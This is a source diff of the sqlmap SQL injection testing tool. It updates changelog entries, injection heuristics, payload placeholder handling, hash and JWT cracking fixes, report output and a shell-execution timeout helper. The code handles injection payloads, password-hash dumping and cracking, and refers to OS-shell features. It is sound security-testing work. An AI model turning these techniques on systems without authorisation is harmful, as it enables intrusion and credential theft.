|
||||
@@ -93,6 +98,11 @@
|
||||
* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine.
|
||||
* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them.
|
||||
* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends.
|
||||
* sqlmap no longer stops with an exception on a JWT whose signature is not valid base64url. Such a signature can not be an HMAC that sqlmap could verify, so it is reported as not crackable instead.
|
||||
* Corrected the uppercasing of the keywords in the shown queries. A word that merely contains a keyword (e.g. a table named `selected`) and a keyword inside a quoted string are now left alone.
|
||||
* Corrected the cracking of the old Oracle password hashes when the user name or the password does not come in as text.
|
||||
* sqlmap now skips a UNION test whose request holds no character instead of stopping with an exception. Only a hand-edited `payloads/union_query.xml` can hold such a test.
|
||||
* The gadget check now runs the gadget itself instead of only looking for the extension. A user that can not use it no longer gets a false success.
|
||||
|
||||
## Quality
|
||||
|
||||
|
||||
@@ -31,6 +31,7 @@ def buildHandler():
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.inject import getValue
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
@@ -53,6 +54,15 @@ def buildHandler():
|
||||
# reuses what --columns already enumerated
|
||||
self._scopeCache = {} # table -> resolved schema (see _scopeFor)
|
||||
|
||||
def __getattr__(self, name):
|
||||
# this handler only mixes in Enumeration/Miscellaneous (read-only, boolean-oracle
|
||||
# extraction); any DBMS-specific capability (--os-*/--file-*/--sql-shell/--udf-*/--reg-*/
|
||||
# --cleanup) has no generic equivalent - fail cleanly instead of an AttributeError deep
|
||||
# in action(). Leading underscore excluded so internal/dunder lookups behave normally.
|
||||
if name.startswith("_"):
|
||||
raise AttributeError(name)
|
||||
raise SqlmapUnsupportedFeatureException("Esperanto does not support '%s' (DBMS-agnostic engine covers enumeration/dump only)" % name)
|
||||
|
||||
def _engine(self):
|
||||
if self._esp is None:
|
||||
# esperanto is a PURE boolean-oracle engine: every probe is one true/false
|
||||
|
||||
@@ -18,13 +18,14 @@ declare -x SCRIPTPATH="${0}"
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
git diff HEAD -- $SETTINGS_FULLPATH | grep "^+VERSION =" > /dev/null && exit 0 # Note: manually set VERSION (staged or not, e.g. "git commit -a") is kept as is
|
||||
|
||||
if [ -f $SETTINGS_FULLPATH ]
|
||||
then
|
||||
LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"')
|
||||
# Note: a new month restarts the counter (i.e. '.0' gets tagged by post-commit hook), while a version already a month ahead (early release) just keeps counting
|
||||
declare -a LINE
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = time.gmtime().tm_mon; _[-2:] = _[-2:] if (int(_[-2]) - month) % 12 in (0, 1) else [str(month), '0']; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
if [ -n "$INCREMENTED" ]
|
||||
then
|
||||
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
|
||||
|
||||
@@ -134,6 +134,18 @@ def action():
|
||||
if conf.getProcs:
|
||||
conf.dumper.procedures(conf.dbmsHandler.getProcedures())
|
||||
|
||||
if conf.getLinks:
|
||||
try:
|
||||
conf.dumper.links(conf.dbmsHandler.getLinks())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
|
||||
if conf.getAudit:
|
||||
try:
|
||||
conf.dumper.audit(conf.dbmsHandler.getAudit())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
|
||||
+33
-18
@@ -15,6 +15,7 @@ import time
|
||||
from extra.beep.beep import beep
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import arrayizeValue
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractStructuralTokens
|
||||
from lib.core.common import extractTextTagContent
|
||||
@@ -183,7 +184,11 @@ def checkSqlInjection(place, parameter, value):
|
||||
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||
# mirror msg's fallback chain (error-parsed -> heuristic -> injection.dbms) - falling
|
||||
# back only through the first two (as before) left kb.reduceTests as [None] whenever
|
||||
# injection.dbms alone satisfied the 'if' above, silently skipping every DBMS-specific
|
||||
# test payload for the rest of the scan
|
||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else arrayizeValue(injection.dbms))) if readInput(msg, default='Y', boolean=True) else []
|
||||
|
||||
# If the DBMS has been fingerprinted (via DBMS-specific error
|
||||
# message, via simple heuristic check or via DBMS-specific
|
||||
@@ -398,7 +403,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Parse test's <request>
|
||||
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
for boundary in boundaries:
|
||||
injectable = False
|
||||
@@ -512,13 +517,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# payload was successful
|
||||
# Parse test's <response>
|
||||
for method, check in test.response.items():
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
# In case of boolean-based blind SQL injection
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
# Generate payload used for comparison
|
||||
def genCmpPayload():
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
# Forge response payload by prepending with
|
||||
# boundary's prefix and appending the boundary's
|
||||
@@ -622,7 +627,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
# A real boolean injection's TRUE condition reproduces the normal page, so this
|
||||
# status-code asymmetry is the classic false positive - refuse it here.
|
||||
if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %s status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
|
||||
logger.warning(warnMsg)
|
||||
injectable = False
|
||||
@@ -925,7 +930,9 @@ def heuristicCheckDbms(injection):
|
||||
may be
|
||||
"""
|
||||
|
||||
retVal = False
|
||||
# None (not False) on failure - every caller gates re-running this on 'kb.heuristicDbms is
|
||||
# None', and a stale False from an earlier parameter's failed check would wrongly block that
|
||||
retVal = None
|
||||
|
||||
if conf.skipHeuristics:
|
||||
return retVal
|
||||
@@ -1223,6 +1230,14 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
def _search(regex):
|
||||
# Note: on a rare (e.g. huge) response the regex engine itself can fail, and losing one
|
||||
# advisory heuristic beats losing the whole run (e.g. #5994 and #6105)
|
||||
try:
|
||||
return re.search(regex, page or "")
|
||||
except (SystemError, RuntimeError) as ex:
|
||||
logger.debug("skipping heuristic check because of a regex engine failure ('%s')" % getSafeExString(ex))
|
||||
|
||||
try:
|
||||
for match in re.finditer(FI_ERROR_REGEX, page or ""):
|
||||
if randStr1.lower() in match.group(0).lower():
|
||||
@@ -1234,71 +1249,71 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
|
||||
break
|
||||
except (SystemError, RuntimeError) as ex:
|
||||
logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
|
||||
logger.debug("skipping heuristic check because of a regex engine failure ('%s')" % getSafeExString(ex))
|
||||
|
||||
if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""):
|
||||
if not conf.nosql and _search(NOSQL_ERROR_REGEX):
|
||||
infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""):
|
||||
if not conf.graphql and _search(GRAPHQL_ERROR_REGEX):
|
||||
infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
|
||||
if not conf.ldap and _search(LDAP_ERROR_REGEX):
|
||||
infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""):
|
||||
if not conf.xpath and _search(XPATH_ERROR_REGEX):
|
||||
infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
|
||||
if not conf.ssti and _search(SSTI_ERROR_REGEX):
|
||||
infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
|
||||
if not conf.hql and _search(HQL_ERROR_REGEX):
|
||||
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""):
|
||||
if not conf.xslt and _search(XSLT_ERROR_REGEX):
|
||||
infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.sparql and re.search(SPARQL_ERROR_REGEX, page or ""):
|
||||
if not conf.sparql and _search(SPARQL_ERROR_REGEX):
|
||||
infoMsg = "heuristic (SPARQL) test shows that %sparameter '%s' might be vulnerable to SPARQL injection (rerun with switch '--sparql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.odata and re.search(ODATA_ERROR_REGEX, page or ""):
|
||||
if not conf.odata and _search(ODATA_ERROR_REGEX):
|
||||
infoMsg = "heuristic (OData) test shows that %sparameter '%s' might be vulnerable to OData $filter injection (rerun with switch '--odata')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and _search(XXE_ERROR_REGEX):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -1317,7 +1332,7 @@ def checkJWT():
|
||||
headers, missing expiry), hinting at '--jwt' for active confirmation and injection.
|
||||
"""
|
||||
|
||||
if kb.jwtChecked or conf.jwt:
|
||||
if kb.get("jwtChecked") or conf.jwt:
|
||||
return
|
||||
|
||||
kb.jwtChecked = True
|
||||
|
||||
@@ -223,6 +223,9 @@ def _autoWafBypass(place, parameter, value):
|
||||
|
||||
return retVal
|
||||
|
||||
def _targetInfo():
|
||||
return {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}
|
||||
|
||||
def _showInjections():
|
||||
if conf.wizard and kb.wizardMode:
|
||||
kb.wizardMode = False
|
||||
@@ -234,13 +237,12 @@ def _showInjections():
|
||||
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||
|
||||
if conf.api:
|
||||
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", _targetInfo(), content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
else:
|
||||
# --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
|
||||
# printing them (the human-readable injection points are rendered just below)
|
||||
# --report-json: capture the same TECHNIQUES structure the API emits, without printing it (the
|
||||
# human-readable injection points are rendered just below); TARGET is reported per target in start()
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
|
||||
conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
|
||||
|
||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||
@@ -376,6 +378,11 @@ def start():
|
||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
targetCount += 1
|
||||
|
||||
# --report-json / REST API: give each target its own taskid in the shared collector, so a multi-target
|
||||
# run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData/StdDbOut.write)
|
||||
if conf.reportJson or conf.api:
|
||||
kb.reportTaskId = targetCount
|
||||
|
||||
try:
|
||||
if conf.checkInternet:
|
||||
infoMsg = "checking for Internet connection"
|
||||
@@ -517,6 +524,11 @@ def start():
|
||||
|
||||
setupTargetEnv()
|
||||
|
||||
# --report-json: every tested target gets its own group with its identity, also when nothing is found
|
||||
# (otherwise its errors, e.g. connection failures, would have no group to land in)
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData(_targetInfo(), CONTENT_TYPE.TARGET)
|
||||
|
||||
if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
|
||||
+42
-11
@@ -61,6 +61,31 @@ from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.unescaper import unescaper
|
||||
from thirdparty import six
|
||||
|
||||
def _isGroupOrderByClause(clause):
|
||||
"""
|
||||
Returns True if (test's/injection's) clause is exclusively GROUP BY and/or ORDER BY
|
||||
|
||||
>>> _isGroupOrderByClause([PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY])
|
||||
True
|
||||
>>> _isGroupOrderByClause([PAYLOAD.CLAUSE.WHERE, PAYLOAD.CLAUSE.ORDER_BY])
|
||||
False
|
||||
"""
|
||||
|
||||
return bool(clause) and set(clause) <= set((PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY))
|
||||
|
||||
def _markerSafeRandom(generator):
|
||||
"""
|
||||
Returns a random value (e.g. for [RANDNUM]) not containing the --string/--not-string page marker,
|
||||
as a reflected one (e.g. echoed in a DBMS error message) would otherwise fake the comparison
|
||||
"""
|
||||
|
||||
markers = filterNone((conf.get("string"), conf.get("notString")))
|
||||
|
||||
while True:
|
||||
retVal = getUnicode(generator())
|
||||
if not any(_ in retVal for _ in markers):
|
||||
return retVal
|
||||
|
||||
class Agent(object):
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
@@ -113,7 +138,11 @@ class Agent(object):
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = getUnicode(paramDict[parameter])
|
||||
newValue = getUnicode(newValue) if newValue else newValue
|
||||
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
|
||||
try:
|
||||
# Dirty patch for Python 3.14.7 re.sub() regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128)
|
||||
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
|
||||
except TypeError:
|
||||
base64Encoding = False
|
||||
|
||||
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
||||
paramString = origValue
|
||||
@@ -180,7 +209,7 @@ class Agent(object):
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||
newValue = self.cleanupPayload(newValue, origValue, clause=kb.injection.clause if kb.get("injection") else None) or ""
|
||||
|
||||
if base64Encoding:
|
||||
_newValue = newValue
|
||||
@@ -292,9 +321,9 @@ class Agent(object):
|
||||
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
|
||||
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
|
||||
query = kb.injection.prefix
|
||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
|
||||
elif _isGroupOrderByClause(kb.injection.clause):
|
||||
query = kb.injection.prefix
|
||||
elif clause == [2, 3] or clause == [2] or clause == [3]:
|
||||
elif _isGroupOrderByClause(clause):
|
||||
query = prefix
|
||||
|
||||
# In any other case prepend with the full prefix
|
||||
@@ -352,7 +381,7 @@ class Agent(object):
|
||||
|
||||
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
|
||||
|
||||
def cleanupPayload(self, payload, origValue=None):
|
||||
def cleanupPayload(self, payload, origValue=None, clause=None):
|
||||
if not isinstance(payload, six.string_types):
|
||||
return
|
||||
|
||||
@@ -371,16 +400,18 @@ class Agent(object):
|
||||
payload = payload.replace(value, replacements[value])
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
payload = payload.replace(_, _markerSafeRandom(randomInt))
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
payload = payload.replace(_, _markerSafeRandom(randomStr))
|
||||
|
||||
if origValue is not None:
|
||||
origValue = getUnicode(origValue)
|
||||
|
||||
if "[ORIGVALUE]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
||||
# Note: in a GROUP BY/ORDER BY payload a (plain identifier) original value is the column itself - quoting it would turn it into a constant
|
||||
raw = origValue.isdigit() or (_isGroupOrderByClause(clause) and re.search(r"\A[\w.]+\Z", origValue) is not None)
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if raw else unescaper.escape("'%s'" % origValue))
|
||||
if "[ORIGINAL]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
|
||||
|
||||
@@ -422,10 +453,10 @@ class Agent(object):
|
||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||
|
||||
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
payload = payload.replace(_, _markerSafeRandom(randomInt))
|
||||
|
||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
payload = payload.replace(_, _markerSafeRandom(randomStr))
|
||||
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||
@@ -627,7 +658,7 @@ class Agent(object):
|
||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
|
||||
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
|
||||
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
|
||||
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I | re.S)
|
||||
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
|
||||
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
+85
-10
@@ -27,6 +27,7 @@ import platform
|
||||
import posixpath
|
||||
import random
|
||||
import re
|
||||
import signal
|
||||
import socket
|
||||
import string
|
||||
import subprocess
|
||||
@@ -997,7 +998,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
||||
|
||||
if bold or color:
|
||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||
elif level:
|
||||
elif level and hasattr(LOGGER_HANDLER, "colorize"):
|
||||
try:
|
||||
level = getattr(logging, level, None)
|
||||
except:
|
||||
@@ -2476,22 +2477,58 @@ def getConsoleWidth(default=80):
|
||||
|
||||
return width or default
|
||||
|
||||
def shellExec(cmd):
|
||||
def shellExec(cmd, timeout=None):
|
||||
"""
|
||||
Executes arbitrary shell command
|
||||
Executes arbitrary shell command, optionally bounded by 'timeout' seconds - killing (and
|
||||
flagging) a hung child instead of blocking forever, as callers otherwise have no other
|
||||
watchdog around this call (e.g. --vuln-test runs one such call per entry, unattended)
|
||||
|
||||
>>> shellExec('echo 1').strip() == '1'
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = ""
|
||||
timedOut = []
|
||||
|
||||
try:
|
||||
retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or ""
|
||||
popenKwargs = {"shell": True, "stdout": subprocess.PIPE, "stderr": subprocess.STDOUT}
|
||||
if timeout:
|
||||
# shell=True's Popen.pid is the shell, not the (possibly grandchild) command it runs -
|
||||
# killing just that pid leaves the real child holding the stdout pipe open, so
|
||||
# communicate() keeps blocking past the deadline; run it in its own group/session instead
|
||||
# so the whole tree can be killed at once
|
||||
if IS_WIN:
|
||||
popenKwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
|
||||
else:
|
||||
popenKwargs["preexec_fn"] = os.setsid
|
||||
|
||||
process = subprocess.Popen(cmd, **popenKwargs)
|
||||
|
||||
def _kill():
|
||||
timedOut.append(True)
|
||||
try:
|
||||
if IS_WIN:
|
||||
subprocess.call(["taskkill", "/F", "/T", "/PID", str(process.pid)])
|
||||
else:
|
||||
os.killpg(os.getpgid(process.pid), signal.SIGKILL)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
timer = threading.Timer(timeout, _kill) if timeout else None
|
||||
if timer:
|
||||
timer.daemon = True
|
||||
timer.start()
|
||||
|
||||
retVal = process.communicate()[0] or ""
|
||||
|
||||
if timer:
|
||||
timer.cancel()
|
||||
except Exception as ex:
|
||||
retVal = getSafeExString(ex)
|
||||
finally:
|
||||
retVal = getText(retVal)
|
||||
if timedOut:
|
||||
retVal += "\n[shellExec] child process tree killed after exceeding %d-second timeout" % timeout
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -4071,6 +4108,35 @@ def getDaysFromLastUpdate():
|
||||
|
||||
return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24)
|
||||
|
||||
def pythonBuildInfo():
|
||||
"""
|
||||
Returns markers of non-default interpreter builds/modes (e.g. free-threading, JIT)
|
||||
|
||||
>>> isinstance(pythonBuildInfo(), str)
|
||||
True
|
||||
"""
|
||||
|
||||
import sysconfig
|
||||
|
||||
retVal = []
|
||||
|
||||
# Note: free-threading builds compile in their own GC and deferred reference counting (e.g. https://github.com/python/cpython/issues/160682, where a still
|
||||
# running function gets collected), both of which stay in play even when the GIL itself got re-enabled in runtime, hence checking the build and not only the state
|
||||
try:
|
||||
if sysconfig.get_config_var("Py_GIL_DISABLED"):
|
||||
retVal.append("free-threading" if not sys._is_gil_enabled() else "free-threading with GIL")
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if sys._jit.is_enabled():
|
||||
retVal.append("JIT")
|
||||
except:
|
||||
if os.getenv("PYTHON_JIT") == '1':
|
||||
retVal.append("JIT")
|
||||
|
||||
return ", ".join(retVal)
|
||||
|
||||
def unhandledExceptionMessage():
|
||||
"""
|
||||
Returns detailed message about occurred unhandled exception
|
||||
@@ -4079,6 +4145,11 @@ def unhandledExceptionMessage():
|
||||
True
|
||||
"""
|
||||
|
||||
from lib.core.revision import getRevisionNumber # Note: not in the header because of the circular import
|
||||
|
||||
revision = getRevisionNumber()
|
||||
buildInfo = pythonBuildInfo()
|
||||
|
||||
errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING
|
||||
errMsg += "run with the latest development version from official GitHub "
|
||||
errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE
|
||||
@@ -4086,8 +4157,8 @@ def unhandledExceptionMessage():
|
||||
errMsg += "with the following text and any other information required to "
|
||||
errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly "
|
||||
errMsg += "and get back to you\n"
|
||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Running version: %s%s\n" % (VERSION_STRING[VERSION_STRING.find('/') + 1:], (" (%s)" % revision) if revision else "")
|
||||
errMsg += "Python version: %s%s\n" % (PYVERSION, (" (%s)" % buildInfo) if buildInfo else "")
|
||||
errMsg += "Operating system: %s\n" % platform.platform()
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||
@@ -5622,16 +5693,20 @@ def parseRequestFile(reqFile, checkParams=True):
|
||||
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
port, protocol, request = match.groups()
|
||||
protocol = (protocol or "").lower()
|
||||
try:
|
||||
request = decodeBase64(request, binary=False)
|
||||
except (binascii.Error, TypeError):
|
||||
continue
|
||||
